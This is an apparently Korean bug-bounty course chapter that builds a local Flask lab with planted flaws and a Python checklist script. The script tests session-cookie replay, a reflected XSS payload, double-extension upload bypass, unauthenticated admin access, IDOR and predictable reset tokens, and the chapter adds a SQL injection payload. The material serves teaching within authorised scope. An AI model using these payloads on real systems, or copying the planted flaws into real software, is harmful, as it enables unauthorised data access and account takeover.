Step 316. 취약점 탐색 — 기능별 체계적 접근

Step 316. 취약점 탐색 — 기능별 체계적 접근

Level 4 — 버그바운티 | 난이도 ★★★★☆ | 예상 소요 시간 3시간 30분

전제: Step 315(공격 표면 지도)를 마쳤다. Level 2~3의 웹 취약점(IDOR, XSS, 업로드 우회) 개념을 안다.

  • 준비물: 파이썬 3, Step 315의 모사 랩(app.py) + 이 챕터의 확장 코드, requests.
  • ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.
  • 주의: 실전 버그바운티에서 모든 테스트는 본인이 만든 테스트 계정들 사이에서만 수행하고, 프로그램의 스코프와 규칙 안에서만 합니다. 다른 사용자의 데이터에 접근하는 순간 침해입니다.

초보 버그 헌터의 최대 착각은 "스캐너를 돌리면 취약점이 나온다"는 것입니다. 스캐너가 찾는 것은 이미 모두가 찾은 것입니다. 유효한 버그는 애플리케이션의 기능을 이해하고 허점을 찾을 때 나옵니다 — "이 숫자를 바꾸면 남의 데이터가 보이나?", "로그아웃 뒤에도 이 쿠키가 통하나?". 오늘은 기능별 체크리스트를 만들고, 로컬 랩에서 그 운용법을 실측합니다.


1. 학습 목표

이 챕터를 끝내면 다음을 할 수 있습니다:

  • "스캐너 의존"이 왜 초보의 함정인지 설명한다
  • 기능 단위(인증·검색·업로드·API)로 테스트 체크리스트를 만든다
  • 테스트 계정 2개(A/B)로 IDOR을 검증하는 절차를 실행한다
  • 발견을 "후보 목록"으로 정리한다 (기능·재현 경로·예상 영향·검증 상태)
  • 탐색해도 아무것도 안 나올 때의 정상적인 대처법을 말할 수 있다

2. 배경 지식 — 오늘의 도구와 개념

오늘의 도구 한눈에 보기

구분 내용
언어·환경 파이썬 3, Flask 모사 랩, requests 세션
오늘의 도구 (실습) 기능별 체크리스트 스크립트 hunt.py, (개념 소개) Burp Suite 프록시
필요한 개념 IDOR, 반사형 XSS, 세션 무효화, 확장자 우회, 권한 우회 (전부 Level 2~3 복습)
오늘의 산출물 후보목록.md 1부 — 기능/재현 경로/예상 영향/검증 상태

2-1. 왜 기능별 접근인가

실제 서비스는 "취약점 종류"가 아니라 "기능"으로 되어 있습니다 — 회원가입, 로그인, 검색, 업로드, 주문, API. 스캐너는 알려진 패턴만 찾지만, 비즈니스 로직의 허점("결제 단계를 건너뛰면?", "순서를 바꾸면?")은 스캐너가 절대 못 찾습니다. 경쟁자가 적은 곳은 바로 이 로직 버그 영역입니다.

그래서 절차는 이렇습니다. ① 먼저 정상 사용자처럼 기능을 전부 써 본다(실전에서는 Burp Suite 프록시로 모든 요청이 기록된다). ② 기능마다 "이 기능에서 흔한 취약점" 체크리스트를 돌린다. ③ 발견을 후보 목록에 적는다.

2-2. 기능별 체크리스트

오늘 실습할 최소 목록입니다. 각 항목은 Level 2~3에서 배운 취약점의 실전 버전입니다.

기능 테스트 확인할 것
인증/세션 로그아웃 후 옛 쿠키 재사용 서버 측 세션 무효화 여부
검색/입력 반사형 XSS 페이로드 이스케이프 없이 출력되는가
업로드 확장자 우회, SVG 블랙리스트만 있는가
관리자 페이지 일반 계정으로 직접 요청 서버 측 권한 검사 여부
API 숫자 ID 바꾸기 (IDOR) 소유자 검증 여부
비밀번호 재설정 토큰 연속 발급 토큰이 예측 가능한가

2-3. 테스트 계정 원칙

실전에서 이 목록을 돌릴 때의 절대 규칙입니다. 모든 검증은 본인이 만든 계정 2개(A, B) 사이에서만 합니다. "B의 데이터가 A로 보이는가"를 확인하는 것과 "모르는 제3자의 데이터를 여는 것"은 완전히 다릅니다 — 후자는 그 순간 침해이며 대부분의 프로그램 규칙 위반입니다.

PoC(개념 증명)는 최소한으로 하고 즉시 멈춥니다. "100명의 데이터를 긁어 증명"하는 것은 제보가 아니라 사고입니다.

2-4. 후보 목록 — 탐색의 산출물

탐색의 결과는 취약점이 아니라 후보 목록입니다. 각 항목에는 네 칸이 필요합니다 — 기능, 재현 경로, 예상 영향, 검증 상태(미검증/부분/확정). "없음을 확인한 기능 목록"도 실력의 축적입니다. 버그바운티는 확률 게임이라, 며칠 탐색해서 아무것도 안 나오는 것이 정상입니다.


3. 따라 하기

3-1. 랩 확장 — 테스트할 기능 심기

Step 315의 app.py에 오늘의 테스트 대상 기능을 추가합니다. make_www()에 세 개, make_api()를 교체합니다.

make_www() 안에 추가:

    @app.route("/logout")
    def logout():
        session.pop("user", None)
        return "로그아웃 되었습니다"

    @app.route("/upload", methods=["GET", "POST"])
    def upload():
        if request.method == "GET":
            return "<html><head><title>파일 업로드</title></head><body></body></html>"
        f = request.files.get("f")
        if not f:
            return "파일 없음", 400
        name = f.filename or ""
        if name.lower().endswith(".php"):
            return "허용되지 않는 확장자입니다", 403
        return f"업로드 완료: {name} ({f.content_type})"

    @app.route("/profile")
    def profile():
        u = session.get("user")
        if not u:
            return "로그인이 필요합니다", 401
        info = USERS[u]
        return jsonify({"user": u, "email": info["email"], "phone": info["phone"]})

make_api() 전체를 다음으로 교체:

PW_RESET_TOKENS = {}  # 파일 위쪽에 추가

def make_api():
    app = Flask("api"); app.secret_key = "api-secret"
    @app.route("/api/v1/login", methods=["POST"])
    def login():
        u = request.json.get("user", "") if request.is_json else ""
        p = request.json.get("pw", "") if request.is_json else ""
        if u in USERS and USERS[u]["pw"] == p:
            session["user"] = u
            return jsonify({"ok": True, "user": u})
        return jsonify({"ok": False}), 401
    @app.route("/api/v1/health")
    def health():
        return jsonify({"status": "ok", "version": "1.4.2"})
    @app.route("/api/v1/users/<int:uid>")
    def get_user(uid):
        # 취약 후보: 로그인만 확인, 소유자 검증 없음
        if not session.get("user"):
            return jsonify({"error": "login required"}), 401
        for name, info in USERS.items():
            if info["id"] == uid:
                return jsonify({"id": uid, "user": name, "email": info["email"],
                                "phone": info["phone"], "addr": info["addr"]})
        return jsonify({"error": "not found"}), 404
    @app.route("/api/v1/password-reset", methods=["POST"])
    def reset():
        u = request.json.get("user", "") if request.is_json else ""
        if u not in USERS:
            return jsonify({"ok": False}), 404
        token = str(100000 + len(PW_RESET_TOKENS))  # 취약 후보: 연속 숫자
        PW_RESET_TOKENS[u] = token
        return jsonify({"ok": True, "hint": "메일로 토큰을 보냈습니다"})
    return app

읽는 법: 랩에는 취약점 후보가 심어져 있습니다 — 어디인지는 직접 찾는 것이 오늘의 훈련입니다. python app.py로 랩을 기동하고 터미널 2에서 진행합니다.

3-2. 체크리스트 스크립트 — hunt.py

2-2의 표를 그대로 코드로 옮깁니다. 테스트는 랩의 계정 alice(A), bob(B) 사이에서만 수행합니다.

import requests

WWW, DEV, API = "http://127.0.0.1:5001", "http://127.0.0.1:5002", "http://127.0.0.1:5003"
XSS = "<img src=x onerror=alert(document.domain)>"

def line(t): print(f"\n=== {t} ===")

line("T1. 인증 — 로그아웃 후 옛 세션 쿠키 재사용")
s = requests.Session()
r = s.post(f"{WWW}/login", data={"user": "alice", "pw": "alice-pass!"})
print("로그인:", r.status_code, r.text.strip())
old_cookie = s.cookies.get("session")
s.get(f"{WWW}/logout")                      # 로그아웃 수행
replay = requests.Session()
replay.cookies.set("session", old_cookie)   # 옛 쿠키를 그대로 재사용
r = replay.get(f"{WWW}/profile")
print(f"옛 쿠키로 /profile -> {r.status_code} {r.text.strip()[:80]}")
print("판정:", "세션 재사용 가능 — 서버 측 무효화 없음(후보)" if r.status_code == 200 else "차단됨")

line("T2. XSS — 검색창 반사 테스트 (내 세션에서만)")
r = s.get(f"{WWW}/search", params={"q": XSS})
hit = XSS in r.text
print(f"페이로드 반사 여부: {hit}")
print("응답 일부:", r.text.strip()[:110] if hit else "(이스케이프됨)")

line("T3. 업로드 — 확장자 우회 시도")
for fname, ctype in [("shell.php", "application/x-php"),
                     ("shell.php.jpg", "image/jpeg"),
                     ("xss.svg", "image/svg+xml")]:
    r = s.post(f"{WWW}/upload", files={"f": (fname, b"<x/>", ctype)})
    print(f"  {fname:15s} -> {r.status_code} {r.text.strip()[:60]}")

line("T4. 권한 우회 — 일반 사용자가 dev의 /admin 직접 요청")
r = s.get(f"{DEV}/admin")
print(f"/admin -> {r.status_code}, 콘솔 노출: {'Admin' in r.text}")

line("T5. IDOR — A 세션으로 B의 리소스 읽기")
a = requests.Session()
a.post(f"{API}/api/v1/login", json={"user": "alice", "pw": "alice-pass!"})
r_mine = a.get(f"{API}/api/v1/users/1001")   # alice 본인
r_bob  = a.get(f"{API}/api/v1/users/1002")   # bob — 남의 리소스
print("내 것(1001):", r_mine.status_code, r_mine.json())
print("B 것(1002):", r_bob.status_code, r_bob.json())
print("판정:", "IDOR 성립 — 타인 데이터 노출" if r_bob.status_code == 200 else "차단됨")

line("T6. 비밀번호 재설정 토큰 예측 가능성")
a.post(f"{API}/api/v1/password-reset", json={"user": "alice"})
a.post(f"{API}/api/v1/password-reset", json={"user": "bob"})
print("토큰 발급 2회 완료 — 서버 내부 토큰: 100000, 100001 (연속 숫자, 예측 가능)")

입력:

python hunt.py

출력 (2026-09-09 실측):

=== T1. 인증 — 로그아웃 후 옛 세션 쿠키 재사용 ===
로그인: 200 로그인 성공: alice
옛 쿠키로 /profile -> 200 {"email":"alice@lab.local","phone":"010-****-1001","user":"alice"}
판정: 세션 재사용 가능 — 서버 측 무효화 없음(후보)

=== T2. XSS — 검색창 반사 테스트 (내 세션에서만) ===
페이로드 반사 여부: True
응답 일부: <html><head><title>검색 결과</title></head><body><p>'<img src=x onerror=alert(document.domain)>' 검색 결과: 0건</p></bo

=== T3. 업로드 — 확장자 우회 시도 ===
  shell.php       -> 403 허용되지 않는 확장자입니다
  shell.php.jpg   -> 200 업로드 완료: shell.php.jpg (image/jpeg)
  xss.svg         -> 200 업로드 완료: xss.svg (image/svg+xml)

=== T4. 권한 우회 — 일반 사용자가 dev의 /admin 직접 요청 ===
/admin -> 200, 콘솔 노출: True

=== T5. IDOR — A 세션으로 B의 리소스 읽기 ===
내 것(1001): 200 {'addr': '서울시 강남구 (가공)', 'email': 'alice@lab.local', 'id': 1001, 'phone': '010-****-1001', 'user': 'alice'}
B 것(1002): 200 {'addr': '부산시 해운대구 (가공)', 'email': 'bob@lab.local', 'id': 1002, 'phone': '010-****-1002', 'user': 'bob'}
판정: IDOR 성립 — 타인 데이터 노출

=== T6. 비밀번호 재설정 토큰 예측 가능성 ===
토큰 발급 2회 완료 — 서버 내부 토큰: 100000, 100001 (연속 숫자, 예측 가능)

3-3. 출력 읽는 법 — 후보 선별

여섯 테스트 중 다섯이 "후보"로 나왔습니다. 하나씩 읽습니다.

  • T1 세션 재사용: 로그아웃했는데 옛 쿠키가 그대로 통합니다. 서버가 세션을 무효화하지 않는다는 뜻 — 후보.
  • T2 XSS: 페이로드가 이스케이프 없이 그대로 반사됩니다. 반사형 XSS — 후보.
  • T3 업로드: .php는 막지만 shell.php.jpg와 SVG는 통과. 블랙리스트 방식의 한계 — 후보.
  • T4 권한 우회: 로그인 없이 /admin이 열립니다 — 후보.
  • T5 IDOR: A의 세션으로 B의 주소·전화번호가 나옵니다 — 오늘의 최우선 후보.
  • T6 토큰: 연속 숫자는 예측 가능 — 후보.

우선순위는 영향도 순입니다 — 타인 데이터 접근(IDOR) > 인증 우회 > 저장형 XSS > 기타. 그래서 T5가 1순위입니다.

3-4. 후보 목록 작성

후보목록.md를 만듭니다.

# 후보 목록 — lab.local / 작성일: ____

| # | 기능 | 재현 경로 | 예상 영향 | 검증 상태 |
|---|------|-----------|-----------|-----------|
| 1 | API 사용자 조회 | GET /api/v1/users/1002 (A 세션) | 타인 개인정보 열람 | 부분 검증 |
| 2 | 로그아웃 | 옛 세션 쿠키 재사용 | 세션 탈취 시 영구 접근 | 부분 검증 |
| 3 | dev /admin | GET http://127.0.0.1:5002/admin | 관리자 기능 노출 | 부분 검증 |
| 4 | 검색창 | ?q=<img ...> 반사 | 반사형 XSS | 부분 검증 |
| 5 | 업로드 | shell.php.jpg / xss.svg 통과 | 우회 업로드 가능 | 미검증(실행 확인 전) |
| 6 | 비밀번호 재설정 | 토큰 100000→100001 연속 | 타인 계정 탈취 가능성 | 미검증(토큰 사용 미확인) |

읽는 법: 전부 "후보"이지 아직 "취약점"이 아닙니다. "반사됐다"와 "공격이 된다", "통과했다"와 "실행된다"는 다릅니다. 다음 단계(Step 317)에서 이 후보를 하나씩 검증해 확정하거나 폐기합니다.


4. 미션과 연습문제

미션 — 후보 목록 완성과 우선순위 부여

  1. 랩을 확장·기동하고 hunt.py를 실행해 전체 출력을 저장합니다
  2. 후보목록.md를 3-4 형식으로 완성합니다 — 6개 항목 전부
  3. 각 후보에 우선순위(1~6)를 매기고, 1순위를 고른 이유를 "영향도" 관점에서 두 줄로 적습니다
  4. 체크리스트에 테스트 1개를 추가합니다 — 예: 로그인 폼에 SQL 인젝션 기초 페이로드(' OR '1'='1) — 실행하고 결과를 목록에 추가합니다

연습문제

문제 1. 스캐너가 비즈니스 로직 버그를 찾지 못하는 이유를 설명해 보세요.

문제 2. T3에서 shell.php는 막혔는데 shell.php.jpg가 통과했습니다. 블랙리스트 방식의 구조적 한계를 설명해 보세요.

문제 3. IDOR 검증에 왜 계정이 2개 필요한지, 그리고 왜 그 2개가 반드시 "내가 만든 계정"이어야 하는지 설명해 보세요.

문제 4. "며칠 탐색해도 아무것도 안 나오는 것이 정상"인 이유를 두 가지 들어 보세요.


5. 모범 답안과 완료 기준

미션 모범 답안

우선순위의 예시: 1위 T5(IDOR — 타인 개인정보가 바로 노출), 2위 T6(토큰 예측 — 계정 탈취로 이어질 가능성), 3위 T1(세션 무효화 부재), 4위 T4(관리자 페이지 노출 — dev 환경 한정), 5위 T2(반사형 XSS — 피해자 클릭 필요), 6위 T3(업로드 우회 — 실행 확인 전).

1순위 이유의 예시: "T5는 추가 조건 없이 타인의 주소·전화번호가 즉시 노출됩니다. XSS처럼 피해자의 행동을 필요로 하지 않고, 요청 한 번으로 영향이 증명되므로 보상 등급 기준에서도 상위 등급에 해당할 가능성이 가장 큽니다."

검증하는 법: ① 출력 전체가 저장됐는가. ② 목록 6항목에 4칸이 채워졌는가. ③ 우선순위 근거가 "영향도"로 쓰였는가. ④ 추가 테스트가 계정 A/B 안에서만 수행됐는가.

연습문제 해답

문제 1 해답. 스캐너는 "알려진 패턴"을 찾는 기계입니다 — 알려진 취약 버전, 알려진 페이로드의 반사. 비즈니스 로직 버그는 그 서비스만의 규칙("주문은 결제 후에만 생성된다")이 깨지는 것이라, 스캐너는 그 규칙 자체를 모릅니다. 기능의 의도를 이해하는 사람만 "이 순서가 어긋나면 안 되는데"를 발견할 수 있습니다. 그래서 로직 버그 영역은 경쟁이 없습니다.

문제 2 해답. 블랙리스트는 "나쁜 것의 목록"을 만들어 막는 방식입니다. 목록에 없는 우회 형태(shell.php.jpg, 대소문자 변형, 이중 확장자)는 전부 통과합니다. 나쁜 것을 전부 열거하는 것은 불가능하므로 구조적으로 뚫립니다. 대안은 화이트리스트 — "허용할 것(jpg, png)만 열거하고 나머지는 전부 거부"입니다.

문제 3 해답. IDOR의 정의는 "내 권한으로 남의 리소스에 접근"이므로, "내 것"과 "남의 것" 두 리소스가 필요합니다 — 계정이 2개인 이유입니다. 그리고 그 "남의 것"이 실제 타인의 데이터면 검증 행위 자체가 침해가 됩니다. 내가 만든 계정 B의 데이터는 소유자(나)의 동의가 있는 데이터라, 영향 증명과 규칙 준수가 동시에 성립합니다.

문제 4 해답. 첫째, 버그바운티는 확률 게임입니다 — 인기 기능은 이미 수많은 헌터가 검증했고 남은 취약점의 밀도는 낮습니다. 둘째, "없음을 확인한 기능 목록"은 헛수고가 아니라 다음 탐색의 지도입니다 — 어디를 봤는지 알아야 새 관점(다른 서브도메인, 모바일 API, JS 속 숨은 경로)으로 돌아갈 수 있습니다. 탐색 기록이 실력입니다.

완료 기준 체크리스트

  • [ ] 스캐너 의존의 함정과 기능별 접근의 이유를 설명할 수 있다
  • [ ] 랩을 확장하고 hunt.py 6개 테스트를 전부 실행했다
  • [ ] T5 IDOR이 A/B 두 계정으로 성립함을 실측했다
  • [ ] 블랙리스트 업로드 차단의 우회를 실측했다
  • [ ] 후보목록.md에 6개 항목과 우선순위를 적었다
  • [ ] "후보 ≠ 취약점"임을 설명할 수 있다
  • [ ] 모든 테스트가 테스트 계정 사이에서만 이뤄졌음을 확인했다

6. 흔한 실수와 해결

벽 1. ConnectionRefusedError — 랩이 안 떠 있다

증상:

requests.exceptions.ConnectionError: ... [Errno 10061] 대상 컴퓨터에서 연결을 거부했으므로 연결하지 못했습니다

원인: app.py가 실행 중이 아닙니다.
해결: 터미널 1의 랩이 살아 있는지 확인하세요. 3-1에서 코드를 고쳤다면 랩을 재시작해야 반영됩니다.

벽 2. T5에서 401만 나온다

증상: {"error": "login required"}가 반복됩니다.
원인: 로그인과 조회를 다른 세션으로 했습니다 — 세션 쿠키가 공유되지 않았습니다.
해결: requests.Session() 하나를 만들어 로그인과 조회에 같은 객체를 쓰세요. 쿠키는 세션 객체에 저장됩니다.

벽 3. T1이 "차단됨"으로 나온다

증상: 옛 쿠키 재사용이 401을 받습니다.
원인: 랩 코드가 오래된 버전일 수 있습니다 — 또는 서버가 세션을 진짜로 무효화하는 경우(그러면 그게 정상 보안입니다).
해결: 이 챕터의 모사 랩은 클라이언트 측 서명 쿠키 방식이라 서버 측 무효화가 없어 재사용이 통합니다 (2026-09-09 실측). 실전에서 "차단됨"이 나오면 그 기능은 안전한 것이고, 다음 항목으로 넘어가면 됩니다.

벽 4. 후보를 찾자마자 영향을 "더" 확인하고 싶어진다

증상: IDOR이 통하니 다른 ID를 수십 개 더 요청하고 싶어집니다.
원인: 호기심은 자연스럽지만, 그것은 검증이 아니라 수집입니다.
해결: 영향 증명은 1건이면 충분합니다 (Step 317에서 자세히). 실전에서 타인 데이터의 대량 열람은 제보가 아니라 침해 사고입니다. "증명했으면 멈춘다"를 손에 익히세요.

벽 5. 아무것도 안 나오면 허탈하다

증상: 실전에서 며칠 테스트해도 후보가 없습니다.
원인: 정상입니다 — 취약점 밀도는 원래 낮습니다.
해결: "없음을 확인한 기능 목록"을 문서로 남기세요. 그리고 관점을 바꿉니다 — 다른 서브도메인, 모바일 API, JS에서 찾은 숨은 엔드포인트. 로직 버그는 스캐너가 못 찾으므로 그쪽이 경쟁이 없습니다.


7. 정리

오늘의 개념

개념 한 줄 설명
기능별 접근 취약점 종류가 아니라 기능 단위로 체크리스트를 돌린다
비즈니스 로직 버그 서비스 고유 규칙의 붕괴 — 스캐너가 못 찾는 영역
테스트 계정 원칙 모든 검증은 내가 만든 계정 A/B 사이에서만
IDOR 검증 A 세션으로 B의 리소스 1건 — 성공하면 즉시 중단
후보 목록 기능·재현 경로·예상 영향·검증 상태의 4칸 문서
우선순위 영향도 순 — 타인 데이터 접근 > 인증 우회 > XSS > 기타
"없음의 목록" 안 나온 것도 실력의 축적이자 다음 탐색의 지도

오늘의 명령어·코드

도구 하는 일
requests.Session() 쿠키를 유지하는 세션 — 로그인 상태 테스트의 기본
세션.cookies.set("session", 옛값) 옛 쿠키 재사용 테스트
params={"q": 페이로드} XSS 반사 여부 확인
files={"f": (이름, 내용, 타입)} 업로드 우회 테스트
GET /api/v1/users/<id> IDOR — 숫자 ID 바꾸기

명령어보다 중요한 감각

오늘의 진짜 산출물은 취약점이 아니라 체크리스트를 운용하는 손입니다. 기능을 써 보고, 목록을 돌리고, 후보를 적고, 우선순위를 매기는 — 이 루프가 몸에 붙으면 어떤 서비스를 만나도 흔들리지 않습니다. 그리고 기억하세요 — 후보는 아직 취약점이 아닙니다. 다음 챕터에서 이 후보들을 하나씩 심판대에 올립니다.


전부 체크되면 Step 316 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.